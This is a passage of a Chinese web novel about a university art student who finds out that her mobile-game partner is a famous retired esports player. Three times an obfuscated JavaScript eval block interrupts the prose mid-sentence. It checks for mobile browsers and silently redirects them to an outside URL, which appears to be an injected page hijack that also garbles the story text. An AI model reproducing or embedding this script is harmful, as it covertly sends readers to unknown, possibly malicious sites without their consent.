“那不是废话吗——四线城市能和省会的物价比吗?她这整得我买还是不买啊?我买了她又阴阳我真有钱,那我天天做这么多作业,她啥也不干当混子,我就想买点吃的犒劳下自己怎么了?又没花她的钱!” “她还天天在那叫叫叫,”苏织抱着胳膊,没好气地翻了个大白眼,“烦死了!” “其实……她还老阴阳夏夏,之后夏夏都不怎么在宿舍说话了,后面几年咱宿舍氛围一直挺压抑的……” 林喜说着说着,倏地捂住嘴,惊讶扭头:“等等——你和欣欣不是闺蜜吗?天天老婆老婆地叫,我都差点以为你俩是……” 她没好意思继续往下说。 一提此事,苏织就面色不善:“滚滚滚,我之前有男朋友的!是她非要那么叫我!她每回叫我‘老婆’我都让她改,但她还是一直喊到现在!” “你俩都不在宿舍,就我俩在,我那动漫社也退了,我不跟她玩跟谁玩?” 苏织气得都快蹦起来了。 “唉,算了,”林喜叹息道,“她家条件好像挺不好的,之前不是给咱们说,她集训的钱都是借亲戚的吗?咱还是让让她吧……” 被推了一摊作业在身上没做完的苏织,听后更加抓狂:“她家没钱学什么画画啊!谁逼她学了?有人来让让我吗?” “她天天出去学英语不做作业,最后都是老子做,那我也要考六级啊!她知道我也报名了,还天天拿备考六级当借口,气得老子下午直接弃考了!” “刚刚我一直没主动搭理她,她居然丝毫没发现我生气了?这陈文欣反倒还先跳脚上了。自己情商低不会来事、脑子又笨怪谁啊!” “简直是倒反天罡,真气死我了!气得我这个月大姨妈都没来!” 林喜下着楼梯,见室友气得脖子都通红,连忙安慰地拍拍她:“再忍忍吧,反正还有一年就毕业了。” 苏织:“给巨婴当了三年妈,真受够了!她不是说,她寒假耳鸣住了好久的院吗?最好她大四也别来了,既然身体不好,那就在家修养吧!别回学校霍霍我们!” 林喜:“好啦好啦,一会儿回宿舍就当什么都没发生过……” - 秦见夏本想把父母送到高铁站,但他俩执意不让她送,说反正一个小时地铁也是坐着,手上又没拿东西,不需要她送。 她只好把他们送进南门地铁站,然后乘着晚风独自往充电桩走。 夜晚这个时候的南门相当热闹,有成群结队一起乐跑的,也有小情侣们和学生们谈笑着出门聚餐。 每到此刻,秦见夏都感觉很孤独。 她的大学生活,根本不像电视剧里那样。 大学前的朋友都在异地,大学同学又很少有互相玩得来的,室友还分崩离析,连吃火锅都找不到搭子一起去。 甚至,整整三年都是异性绝缘体…… 秦见夏无语问苍天——难道她真的要注定寡一辈子吗? “吱悠——” 右侧忽然传来一道自动门开启的声音,吓了她一跳。 又是那人工智能学院的高级门…… 每次她来充电桩,都莫名其妙地被旁边的大门感应到,一点也不智能。 不过比她们艺术学院好多了…… AI学院一楼大厅的顶灯,比整栋艺术楼的都亮。她们那层的天花板都掉了几块,三年了也没人来修。 别的学院都装上感应门了,她们教室里的木凳子散架好几个,甚至没人给换新,为数不多的好凳子,还天天被别的班同学偷,真是羡慕不来。 就那破凳子,已经勾坏她六条裤子了! 甚至不能称之为凳子。 因为每个木凳,都是用五块粗糙的木板拼成的,钉子都没完全砸进去。 秦见夏合理怀疑,那些是学长学姐们的手工课作业,被学院废物利用了。 去年她实在担心自己的屁股会被那些钉子扎烂,忍痛花费四十大洋,买了个带靠背的椅子放到教室,才总算实现屁股和裤子自由。 学校挖人工湖和建食堂电梯的经费,能给整个艺术楼换凳子了吧…… 秦见夏盯着旁边金碧辉煌的AI学院,叹息一声,开始寻找自己的小电驴。 夜色朦胧,AI学院后门又没有路灯,分辨不出哪辆是她的电动车。 她开着手电筒找了一圈,最终在棚子外面找到了自己的电驴——充电器果然早就被人拔了。 秦见夏将车钥匙插|进|去,一拧,屏幕上显示没充满。 “靠!” 她在学校里充电,就没充满过。 也不知道网上都是谁在说大学生素质高啊? A大还是211呢,结果每次充电都被随便拔,二十块钱的外卖被偷过两次,小组作业也碰不到什么好人。 有种所有倒霉事都被她一个人碰上了的感觉…… 换做其他同学,或许会拍照挂表白墙发泄一通。但秦见夏比较窝囊,她愤怒地跨上车,油门一拧就头也不回地骑走了。 并在心里暗暗发誓,下次一定勤快点,去校外充电。 时间还早,秦见夏不想这么快回宿舍,于是慢悠悠地驱车,选择一条人少的小路往回骑。 从南体育场沿着食堂后面一直骑到道路尽头,晚风吹拂,耳机里放着林宥嘉的《想自由》。 橘黄色的路灯,将地面分割成冷暖相接的色调,偶尔遇到色相不明的树荫。 弯月悬在天边,零星路过几名正在乐跑的同学,他们手机里,提醒公里数的机械女音忽远忽近。 秦见夏低低地哼着曲调,享受来之不易的静谧。 “我不舍得,为将来的难测,就放弃这一刻……” “哈哈哈哈哈哈——” 随着门把手拧动,宿舍内的喧哗声渐渐泻出,秦见夏默默将耳机音量调高,一言不发地进门换上拖鞋。 陈文欣依旧和苏织旁若无人地聊得火热,林喜仍然塞着有线耳机,在追最近很火的综艺。 下午和父母的短暂相处,美好得像一场无痕美梦。 秦见夏路过林喜身后,发现那个综艺她也在追,本想开口和她聊两句,又觉得在这么吵闹的环境下,她们大概还得像从前那样,大声说话双方才能听清。 而且会打断室友看综艺的兴致,她便没了开口的欲望。 陈文欣震耳欲聋的嗓门,穿透秦见夏价值不菲的降噪耳机,吵得她头晕目眩。 她不由得在心里琢磨,看来陈文欣的耳鸣症的确严重,音量真是越来越大了。 秦见夏忍无可忍,抱起电脑和画本离开。 在阖上宿舍门前,最后打量一眼陈文欣—— 她反跪在她那吱吱作响的廉价折叠椅上,一身洗到发白但干净整洁的睡衣,衬得皮肤像牛奶一样白。 她的头发也洗得很勤,几乎没有油头的时候。 陈文欣双手扒着靠背,姿态略微紧绷,却与苏织聊得神采飞扬、面色红润,显得那对双眼皮大眼睛更加明亮。 哪还有在外拘谨自卑的模样? 秦见夏愈发觉得,人这种生物实在复杂,还是少揣摩比较好。 头脑越简单,生活越快乐。 “啪——” 一道关门声后。 陈文欣收回滴溜溜转的眼珠子,脑中掠过秦见夏离开时面无表情的神态,认为自己扳回一局。 苏织瞧着二郎腿,视线穿透厚镜片,下意识瞥她一眼。 她整日看陈文欣这种上不得台面、又小动作不断的神色,看惯了,与她的另外两个室友一样,对陈文欣的内心想法一无所知。 况且——也不会有人想到,大学生还会蠢到干出小学生的排外举动。 即便偶尔察觉出一丝不对劲,也很快自我否定了。 人应该……不至于愚笨和幼稚到如此地步。 苏织只当陈文欣是又在打她Steam家庭账号的主意,实则内心烦躁至极,只想快点转移话题,别再聊游戏了。 成年后,其实大部分人都只专注自己。 别人的事,只要不影响到自身,基本都会选择视而不见,明哲保身。 对于正常人类而言,赶路要紧。 秦见夏像往常那样,抱着东西来到一楼大厅,路过自动售卖机,打算买瓶九毛钱的冰露,但便宜矿泉水历来是抢手货,晚上只剩可乐和魔爪。 她选择冰镇可乐,扫码支付,大包小包地坐到阅读区,打开电脑。 面前的宿舍闸机不断开合,形形色色的学生们进来又出去,枚园宿舍楼的玻璃门外,仍旧有情侣站在台阶下,映着昏黄的路灯,交颈拥吻、依依不舍。 耳边传来打电话声、吹风机声、洗衣机声、宿管阿姨的乡音聊天声、大一学妹们在旁边做小组作业时的谈论声。 冰镇汽水的塑料瓶外,渐渐渗出白雾,接连不断的小气泡,仿佛一个又一个的像素点,试图冲破褐色的液面。 “呲”一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669834|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,秦见夏拧开瓶盖,仰头灌了一口冰汽水,享受从喉咙顺着食道直达胃腔的凉爽,似乎这样能驱散不少暑气。 她放下汽水,瞧向来来往往的学生,忽觉,大学时光好像就在这日复一日忙碌的脚步中,匆匆掠过了。 徒留杂乱的电脑桌面上,一堆改了又改、以无数“123”、“abc”和日期命名的jpg、png、doc和pdf文件。 作业反倒变成时间流逝的证据。 秦见夏放空片刻,任由自己思考人生,然后才拿起她中学时代的画本。 这个画本是她在初中对面的晨光文具店,好不容易攒够积分后,央求妈妈领她去兑换的素描本。 天蓝色硬封皮的线圈画本,上下翻页,价值六块钱,封面是晋海的东方明珠。 那也是一个夏天,她当即选择它作为自己的画本,因为她想考去晋海。 她曾在这个本子里,留下许多灵感和创作,直到高二结束去画室集训,忘记将它带到杭城。 之后它就一直被遗落在书柜最顶端,落了一年又一年的灰。 秦见夏将画本翻开,扉页用钢笔写着规整却稚嫩的一行墨蓝色字迹—— “秦见夏,你一定要实现自己的梦想。” 她仔细辨别一番,才认出是自己的字迹。 她总觉得,她的字体从小到大都没什么变化,一直是小学生体。 但当从前的痕迹,真真切切地浮现在面前时,她才忽然意识到,原来已经变了这么多。 她十四岁许下的、一定要实现的,是什么梦想来着? 怎么记不得了? 当设计师吗。 秦见夏疑惑地往后翻。 第一页是她画的那时很流行的动漫人物,没什么线条变化,像写字那样敦实地画了一整页,甚至在纸张背面,还能触摸到深深的痕迹。 她边翻边笑,翻到高中时,才出现自己创作过的一些零散的人物和道具设定。 这些构想很幼稚,但也充斥着没被应试教育荼毒过的、最本真的设计。 正如毕加索晚年开始模仿儿童作画。 秦见夏触摸着那些笔迹,她想,或许这才是设计。 现在的她,做设计前的第一反应是去找参考、找可商用字体,去无版权纠纷的设计网站检索自己需要的素材。 然后将这些部件,按照书本上教的黄金比例和平面构成的方法,不断排列组合、调整大小宽窄,拼凑出一套标准化但甲方满意的“作品”。 要问她自己满意吗? 其实,她早就感觉不到什么叫满意了。 能过稿就是万事大吉。 她的想象力,早在真正叩开美术大门的那一刻就消失殆尽。 如今只需要将甲方的需求可视化,当一个恪尽职守的设计工具,如此便好。 这才是社会需要的“设计师”。 年轻艺术家们终其一生追求“拉斐尔”,却又在历尽千帆后,才意识到印象主义的难能可贵,于是纷纷选择成为下一个“毕加索”。 眼前这些充满朴实情绪与想象力的“草稿”,却是二十一岁经过系统学习后的秦见夏,此时最需要的、能形成个人风格的——“作品”。 它们的本质不是商品,是独属于她一人的“设计作品”。 秦见夏顿时灵感泉涌。 她迅速将一张张稿件用手机扫描下来,全部AirDrop到电脑上。 她打算“抄袭”十六岁的秦见夏,以这些手稿作为草图和灵感来源,设计新的角色。 正好可以放进她的作品集里,以后不管是找实习也好,还是后期工作升学也好,总归能派上用场。 秦见夏一共导出四十七张图片,按照她的习惯,通常会将每张素材以关键词命名,然后放进相应类型的文件夹里,方便作图时索引。 但…… 计划是这样,实则后期素材多到没时间整理,不然也不会出现无数个“123、abc、ABC”命名的文件,赶ddl实在来不及就手忙脚乱地再去网站下载一遍。 连赵霞都吐槽她的电脑桌面乱成一锅粥。 今晚倒是比较闲,秦见夏打算边摸鱼边干分类的活,刚好可以开始构思第一个角色。 这种枯燥且不需要动太多脑子的工作,很适合听歌或者分屏边看视频边干。 然而歌单早已听腻,她打开Safari,来回切换几个网页,最终选择打开Jichoo的直播间。 LOL直播已经对她没多大吸引力,不需要动脑子跟着看。 主播本人也没有太大的情绪波动,不吵不闹,很适合当背景音的一款直播间。 宿舍大厅的校园网比教室慢多了,秦见夏加载许久,久到以为自己欠费了,才打开直播间。 画面弹出来时,眼前兀地一亮—— Jichoo居然剪头发了! 他看起来年轻许多,比男大学生还像男大学生。 24. 掉下马 不得不承认,秦见夏爬墙Jichoo后,之所以死心塌地粉了他三年,主要原因都是他的脸。 谈继秋那张脸很符合秦见夏的审美——面部排版偏极简风。 他的长相比较秀气,脸型是她画速写时最擅长的那种窄面,线条流畅,微微硬朗的下巴弧度中和了阴柔之美。 整张脸的五官搭配相当和谐,给她一种未经过任何变形的宋体字被单纯罗列在白纸上的高级感。 一种更接近版式设计本源的,纯粹美。 像是原研哉的作品—— 平淡、干净,却直击灵魂。 秦见夏盯着直播画面里的男人,微微出神。 他穿着一件简单到没有任何logo的黑色短袖,清爽得仿佛能闻到舒肤佳香皂的味道。 电脑屏幕发出的光,薄纱一般覆在他脸上,眼睛细长,黑亮的瞳仁看不出任何杂质。 谈继秋之前的刘海有些挡眼,这次剪了头发,颇有回春的意思,少了几分岁月沉淀下来的成熟。 秦见夏扫了眼弹幕,果然如她所料—— 「这简直就是我啊」 「jichoo你们怎么不开峡谷先锋?」 「谁开我户了,我就长这样」 「娱乐圈那帮小白脸懂什么叫纯素颜建模脸吗?」 「谁排的秋神是lpl颜值前三?这简直是no.1好吗?好的。」 「抱歉帅到大家了,黄油跟踪我三天我才同意打开摄像头」 「……」 这种场面,她早已见怪不怪。 Jichoo五年前才叫颜值巅峰,每逢比赛必出神图,然后她就会扒到摄影师的微博,保存原图当壁纸。 现在这才哪到哪啊? 一群没见过世面的弟弟们。 看样子已经开播十几分钟,秦见夏有种预感,Jichoo现在应该挂在微博热搜上了。 草图差不多整理完毕,她便用电脑挂着直播,掏出手机,打开微博摸鱼。 果不其然,“Jichoo电竞文男主”这个热搜词条已经登顶文娱榜一。 但点进去除了一条电竞营销号的直播录屏,剩下全是老图翻新。 没什么意思,大概率是公司给买的词条。 谈继秋这波,估计还能再吸一批年轻的颜粉和梦女粉,然而也是LOL和LPL的强弩之末。 这种单纯看脸入坑,不玩游戏的新粉,对于退役选手的粘性和持久度不会很高,Jichoo的粉丝群体主要还是老竞粉。 但显然,老粉很多已经完全退坑,这是个恶循环。 他要是KPL选手那还好说,即便比游戏先粉上选手,那王者这种手游容易上手,基本是个能亮的手机就能玩,新粉入坑也快。 英雄联盟的门槛比王者高得多。 同样是MOBA,没她们早期00后这种信仰,小孩肯定更愿意玩手机。 据秦见夏所知,现在的10后没几个玩LOL,都在王者荣耀网恋。 这时,「jichoo粉丝后援会王者分会」里弹出消息,是猴子哥发来的。 猴子大王:「@勤捡虾球,秋神好像明天在会展中心有娱乐赛,你去不去?」 与此同时,直播间里恰好也传来一道微信提示音。 感叹句真巧,她打字回复:「不去了,本人早已是路人,大周天的还是准备补补觉」 勤捡虾球:「会展中心离咱学校来回至少四个小时起步…」 随即耳机里又传来两道提示音,秦见夏隐隐觉得有些怪异。 谈继秋一把游戏正好结束,便拿起手机看了眼。 那天设置完免打扰,半夜辗转反侧,担心错过消息,又给群通知打开了。 【「猴子大王」拍了拍「勤捡虾球」,请检查网络设置】 猴子大王:「姐妹你陪我去呗,我想找jichoo要签名,但我不好意思一个人去」 勤捡虾球:「你没对象吗?找你对象陪你去呗」 秦见夏不禁感叹,现在男的真是没边界感。 猴子大王:「一直忙着保研没时间谈,你要是有单身的校友闺蜜记得给我介绍,明年保到K大更找不到对象了」 “不经意”提起自己保研K大是吗…… 秦见夏心想,猴子哥果然装装的。 勤捡虾球:「找对象还用我教你吗,收到录取通知直接截屏发同城抖音,保证你私信直接炸了」 勤捡虾球:「要不就挂着咱学校的定位发照片,如果你有几分姿色的话,基本也是一样的效果」 猴子大王:「军师果然是军师,我这就去发!」 勤捡虾球:「最好把你那地狱火头像赶快换了,哪个对你有兴趣的女生看到你这头像,都会觉得你是超绝小学生的」 猴子哥一秒换了个动漫男头,还像是AI生成的那种动漫男头。 猴子大王:「恩师,这个如何」 勤捡虾球:「抖音直接搜帅哥,哪个帅你copy哪个」 谈继秋挂着直播窥群,突然觉得有点意思,也打字问:「我的头像呢?」 秦见夏锐评:「故弄玄虚装emo的忧郁黑化阴湿男」 担心男高弟弟真的emo,她又连忙补充道:「不过我未成年的时候一心情不好也用这个^^」 勤捡虾球:「没事的弟弟,人之常情」 在秦见夏忙着低头打字的时候,她丝毫没注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669835|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,电脑屏幕上的男人笑意渐浓。 弹幕越刷越快,直播间热度涨到人气榜第一。 「我靠不对劲啊兄弟们,你们有没有发现,继军最近老是挂着直播聊天?」 「不对劲,有情况」 「咱哥老头棋都不下了,绝对有情况」 「不懂就问,为什么掉分还笑得这么骚包」 「他到底在笑什么」×99+ 「嫂子是谁」×99+ qwerdf:「你抿一下嘴是不是会被自己毒死?」 勤捡虾球:「写你的作业去,弟弟」 勤捡虾球:「大学生聊天没有高中生说话的份」 qwerdf:「弟弟辍学去打职业了」 勤捡虾球:「?」 勤捡虾球:「你打端游还是手游」 谈继秋觉得,这真是个适合掉马的好机会。 这几天严重亏心,内耗得他实在睡不好觉,便主动说:「fyz英雄联盟分部打ad」 秦见夏自动默认辅助哥是青训队员,赞叹道:「牛逼啊兄弟/大拇指」 勤捡虾球:「能不能帮我要几张jichoo的签名照?」 谈继秋见状,唇角上扬几分:「你又路转粉了?」 勤捡虾球:「那倒没有」 勤捡虾球:「我对选手都不感冒了,我只是觉得这两天jichoo估计又能吸点粉,回头挂咸鱼卖签名照能卖上价」 谈继秋:“……” 看来赌局彻底没戏。 他感觉自己简直在找虐:「你lol哪个区的?」 勤捡虾球:「电一」 担心弟弟不懂,秦见夏自认贴心地补充一句:「艾欧尼亚」 qwerdf:「你像祖安的」 秦见夏:“……” 众所周知,祖安玩家人均嘴臭。 这辅助哥怎么这么冒昧。 勤捡虾球:「弟弟你还是没见识过真正的祖安」 勤捡虾球:「电竞老粉都知道,我这程度只能算刮痧」 勤捡虾球:「你还是太年轻了」 她这完全绿色健康无公害,放在晋江都不会被口口的好不。 她秦见夏多有梗啊! 小屁孩懂什么。 这粉丝依旧像块木头,谈继秋决定故意掉一下马。 如今看这情况,她彻底不可能对他转粉,更不可能来直播间给他刷礼物加粉丝团,倒不如彻底摆烂算了。 而且…… 现在比起赢得赌局,他反倒更期待——当她得知他真实身份时的反应。 游戏搭子居然是曾经粉过的电竞选手。 她会生气还是开心? 25. 上热搜 又或者……按照这位前粉丝的刻薄程度,说不定扭头就给他挂上微博。 谈继秋期待地抿了抿唇,思考该如何“不经意”掉马,让她主动察觉。 他直接承认就没意思了,必须等她自己发现。 谈继秋莫名有种——“小学男生故意揪女同学辫子等她回头骂他”的心理。 他单手拿着手机,抬头瞥了眼电脑,忽然有了主意。 Jichoo直播间的粉丝们发现—— 主播先是打着打着游戏看了眼手机便草草结束对局,然后就抱起手机头也不抬地狂玩,一边打字,还一边有一搭没一搭地傻笑,把他们晾了十分钟又猛然抬头,一句话没说就下播了。 粉丝们:? 谈继秋特意私聊秦见夏:「你加我lol好友,我带你上分」 他心道,他用大号加她,她总能发现他是Jichoo本人了吧。 结果,抱歉姐来了句:「我电脑玩不了lol,现在也打不动,手腕疼」 谈继秋:“……” 秦见夏回复完微信,一看时间,已经十二点,手机提示还剩五格电,于是连忙收拾起东西,准备回宿舍洗漱休息,计划明天一觉睡到自然醒。 枚园宿舍楼大门半小时前就关了,宿管阿姨的休息室也熄了灯,整个一楼大厅只有门口的阅读区亮着灯。 徒留秦见夏只身一人,起身蹑手蹑脚地收拾着东西。 与此同时,宿舍内并不安宁。 正在卸妆的林喜,倏地收到陈文欣发来的微信小作文。 陈文欣:「喜喜,那个那个,前两天晚上是你在宿舍补作业么?你的鼠标声音有点大,我在上铺听着很明显,最近我睡眠不好,一点声音就会睡不着觉……现在我的耳石症又加重了,白天上课都听不清老师说话,如果一直睡不好的话又要去住院,会耽误课程进度……所以能不能麻烦你鼠标声音小点/摊手」 白花花一大片。 反正就是吵到陈文欣睡觉了呗。 林喜无语凝噎:“……” 这不是陈文欣第一次给她发小作文了。 上学期,她就认为林喜的电脑屏幕太亮,半夜她在桌子上赶作业用电脑,屏幕刚好对着陈文欣的上铺,亮得她睡不着觉。 然而,林喜自己在宿舍时,悄悄演示过很多遍,她的电脑明明对着秦见夏的床铺,怎么会影响到上铺的陈文欣呢…… 反正—— 无论如何只能顺着陈文欣了。 林喜连忙给她道了歉,说自己以后去艺术楼赶作业,不在宿舍影响她休息。 陈文欣又说不用,字里行间看起来挺“私密马赛”的。 秦见夏回到宿舍时,林喜也洗漱完上|了|床,刚想起来不用给秦见夏留灯,门外正好响起她插钥匙的声音,林喜便又躺了回去。 虽然宿舍氛围仍旧诡异,但大家都在床上,秦见夏面对空荡荡的宿舍,没察觉出来,汗流浃背地首先熄了灯。 她轻手轻脚地放下东西,趁洗漱间隙,充了百分之二十的电。 然后满意地拔掉充电器,立即摸黑坐进床帘里躺下,准备睡前例行刷一遍各大社交平台。 秦见夏先是随手点开微博,瞄了眼热搜,看到这样一个词条—— 「#Jichoo女朋友」 还没来得及点开热搜查看详情,紧接着,收到王铭的微信轰炸—— 王铭:「卧槽!!夏姐啊,这是你不?!」 王铭:「图片」 王铭:「图片」 王铭:「你不会上热搜了吧」 王铭:「你人呢???」 王铭:「你先别睡了,兹事体大,人呢!!?」 王铭:「不是……你小子怎么背着兄弟当上真嫂子了?」 秦见夏被王铭炸得一头雾水,点开他发来的图片,发现竟是她和辅助哥的对局记录,还有她的王者主页。 所以—— 这和Jichoo有什么关系? 又和嫂子有什么关系?? 秦见夏:「这是我的号没错啊,到底咋回事啊?这咋扒出来的对局记录?」 秦见夏:「总不能是打王者喷人被开户了吧……」 王铭:「?」 王铭:「我去你不知道吗」 王铭:「你快去看微博,和你一起双排的那个人被扒出来是jichoo」 秦见夏:「?」 秦见夏:「你是不是在说梦话?」 脑门顿时爬上一层薄汗。 她一边切回微博,一边觉得王铭这小子八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669836|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成是CAD画出幻觉了。 这辅助哥怎么可能是Jichoo? 辅助哥是她妈都不可能是谈继秋! 秦见夏手忙脚乱地点进嫂子那条热搜,看到营销号添油加醋地写着—— 「原来Jichoo私下也打王者,还和“神秘好友”天天深夜双排,咱们秋神居然每把都给好友打辅助,这个好友会是嫂子吗?不过看主页倒像是男生啊,难不成是男嫂子/嘘……还是让我们期待一下明天淮市的表演赛吧」 秦见夏感觉自己的大脑功能已经紊乱。 她也没想到,首先感到愤怒的居然是—— 怎么又被当成男的了! 过了两秒,才后知后觉地反应过来,他们意思是—— 那个辅助哥是Jichoo?! 怎么可能??? 等等,不对…… 电光火石间,秦见夏的脑海里闪过一条条蛛丝马迹。 串联起辅助哥刚说的,他在FYZ打AD,以及直播间每次都巧合的微信提示音,还有王者开麦那天莫名熟悉的声音…… 心里当即掠过一万句脏话。 她用颤抖的食指点开微博配图。 果然是她的王者主页无疑,并且对局记录也是她和辅助哥的。 第二张长图是扒号记录,这该死的营销号居然还详细地配了文字,总之能证明那个王者号的确是Jichoo本人在玩。 她也来不及多看,第一反应就是登录王者购买改名卡,结果发现再改名有十五天冷静期。 秦见夏只好立刻更换Q|Q头像,又隐藏了王者亲密关系和战绩,并且把分路设置和头像框等等一切能改的都改了,最后还隐藏了贵族等级和性别。 虽然已经暴露,而且瞬间多了几十个关注她王者号的,但把主页能改的都改一遍,应该会让他们误以为不是热搜上那个号吧…… 王者好像IOS和安卓两个不同渠道的可以重名,或许、大概、之后不会影响到她……? 不过,秦见夏还是觉得,他们开户开错人了——辅助哥怎么可能是Jichoo啊? 她切换微信给辅助哥发消息—— 「难道你是jichoo?」 「他们开盒开错了吧,你怎么会是谈继秋?」 26. 攻略你 谈继秋已经睡着,是被助理艾欧尼亚的电话叫起来的。 他这才知道自己的王者号被人扒了,第一反应是:“撤热搜,联系营销号删微博,保护素人隐私。” 艾欧尼亚还有闲心开玩笑:“哥我说你最近怎么播得少了呢,原来是去拉妹妹双排了啊……” 谈继秋无奈道:“Fine也要背一半锅,这下彻底翻车了。” 艾欧尼亚:“没事,我去撤热搜,哥你现在立马把王者id改了,我们先冷处理。” “冷处理可行吗?” “哥,你要知道,今时不同往日了。LOL热度一降再降,你的流量都是靠这张脸撑着,只要你不承认那是嫂子,你的女粉一定会自我催眠、一致对外的。” 说到女粉…… 谈继秋想起某位油盐不进的前粉丝…… 这次是他害她上了热搜,还是以这种方式掉的马,谈继秋认为,有必要去道个歉。 他随便敷衍艾欧尼亚几句,匆匆挂断电话,秦见夏的消息已经弹了出来—— 「难道你是jichoo?」 「他们开盒开错了吧,你怎么会是谈继秋?」 谈继秋的心情相当复杂,打字回复:「我怎么就不可能是jichoo了?」 qwerdf:「抱歉,我的确是jichoo本人,这几天欺骗了你……」 谈继秋开始写小作文向她解释:「我无意造成现在这种局面,当初是Fine提出打赌攻略你,我为息事宁人选择答应下来,本来我也计划这两天主动跟你承认的,没想到反而先被挂上热搜了。」 勤捡虾球:「4090那个赌局吗?」 谈继秋:「是的。」 勤捡虾球:「你俩计划怎么攻略我?」 谈继秋:「就是让你再对我黑转粉,主动去直播间给我刷礼物加粉丝团,然后我们连线打一把游戏就行」 秦见夏:“……” 就这啊。 谈继秋见她没有回复,再度道歉:「不好意思,热搜我已经联系人撤掉,希望没有影响到你的心情,以后我也不会再打王者。如果你方便换号的话,我送你个全皮肤的新号?」 谈继秋:「或者,你有没有什么想要的?手机、电脑、游戏机、包、护肤品都行,我可以送你作为补偿,真的很抱歉。」 为了表示诚恳的歉意,他还发了个鞠躬小人的表情包。 没想到,对面秒回一句:「秋神,为什么你说话没有老人味?」 谈继秋:“……” 这次倒是不叫继军了…… 他认真作答:「因为我不是老人。」 莫名被戳中笑点,秦见夏不由得滑进被子里,捂住嘴憋笑。 心情十分奇妙,有种难以言喻的复杂情绪—— 游戏搭子其实是年少时粉过的选手? 她把他喷了还说他坏话居然没记仇? 现在还说因为骗了她所以要给补偿? 真是天上掉煎饼果子——一套又一套。 不会是新型电信诈骗吧……? 算了。 哪怕上学院门口的反诈横幅也认了。 勤捡虾球:「那什么……jichoo老师」 秦见夏对自己曾经说过他坏话一事只字不提,放高姿态道:「其实也没什么好补偿的,你这不算什么很过分的欺骗」 毕竟人家拉她双排也没当演员,老老实实地给她打了辅助。 勤捡虾球:「但作为补偿,你陪我打王者到暑假怎么样?也就是七月份,这半个月你再带我上上分?」 勤捡虾球:「我想打到荣耀王者,拿那个专属称号……」 谈继秋:「可以。」 谈继秋:「不用叫老师。」 勤捡虾球:「但是!」 勤捡虾球:「你这也不算赌输啊,赌约里也没说要在我不知情的情况下。反正Fine老师在基地训练也不知道,下次你开播了告诉我一声,咱们连麦打一把游戏,你不就赢了吗?」 勤捡虾球:「不过我电脑玩不了端游,lolm行吗?」 谈继秋:「王者也行,明天我让助理向平台申请一下。」 勤捡虾球:「我还有一个请求……」 谈继秋:「你说。」 勤捡虾球:「听小道消息说,您和yls的daybreak关系还不错?能帮我要张签名照吗?」 勤捡虾球:「/谢谢老板」 谈继秋:「?」 谈继秋:「你要卖张煦的签名照?」 勤捡虾球:「不是,其实我一直都很崇拜daybreak……」 谈继秋:「?」 谈继秋:「你不是我粉丝吗?」 他有一种被背叛的荒唐感。 秦见夏十分不好意思,措辞回复:「毕竟daybreak今年人气最高,有望带yls夺冠嘛……」 总不能直接说想拿来发朋友圈装逼吧:) 她倒是最想要白月光Serein的签名照,可这其他队的远古战神,Jichoo估计也搞不来啊。 还不如选择人气最高的Daybreak,即便她对他没那么感兴趣,但在朋友圈比较有认可度。 自从Daybreak横空出世,吊打了Jichoo之后,现在她朋友都称谈继秋为“电竞花瓶”。 人们总是热衷于造神又毁神。 Daybreak更年轻、打法更凶悍,直接被推上神坛捧到现在。 如果说S10之前是Jichoo和FYZ的时代,那么S10至今就是Daybreak的完全统治时期。 谈继秋:「所以,就是说,我不如db咯?」 秦见夏秒拍马屁:「没有没有秋神,您绝对是神的存在,没有您在lpl奠定的基础,怎么会有daybreak的成功?」 勤捡虾球:「再说了哥,您比张煦长得帅啊」 勤捡虾球:「在我心里,您绝对是lpl的颜值巅峰!什么Abandon啊Adgai啊都不如您睫毛一根/玫瑰/玫瑰」 她之前可不是这么说的。 谈继秋:「呵呵。」 谈继秋:「/微笑」 谈继秋:「地址发来。」 秦见夏立刻将地址奉上,提前把收件人姓名改成自己的微信id。 谈继秋将“勤捡虾球”的地址收藏:「收到,睡吧,晚安。」 勤捡虾球:「晚安!」 秦见夏盯着Jichoo发来的“晚安”,怀疑了三秒钟人生。 这居然是Jichoo? 她高中喜欢了三年的选手Jichoo? 老天爷是在开玩笑吗? 还好她现在已经脱粉,如果换做是高中的秦见夏,早就大喜过望激动得精神失常了。 今天比较疲惫,她很快就带着奇异的心情沉沉睡去。 翌日,秦见夏一觉睡到中午十二点半,被陈文欣的关门声吵醒。 她拿过手机,看到谈继秋和王铭发来的微信。 这才想起,昨晚忘记回复王铭消息。 损友的记性倒是不错,自己改成「人健学设计」的id后,只是发了次朋友圈,王铭刷微博居然能认出是她。 秦见夏连忙将事情经过给朋友交代了一遍,换来他一连串的感叹号和国粹。 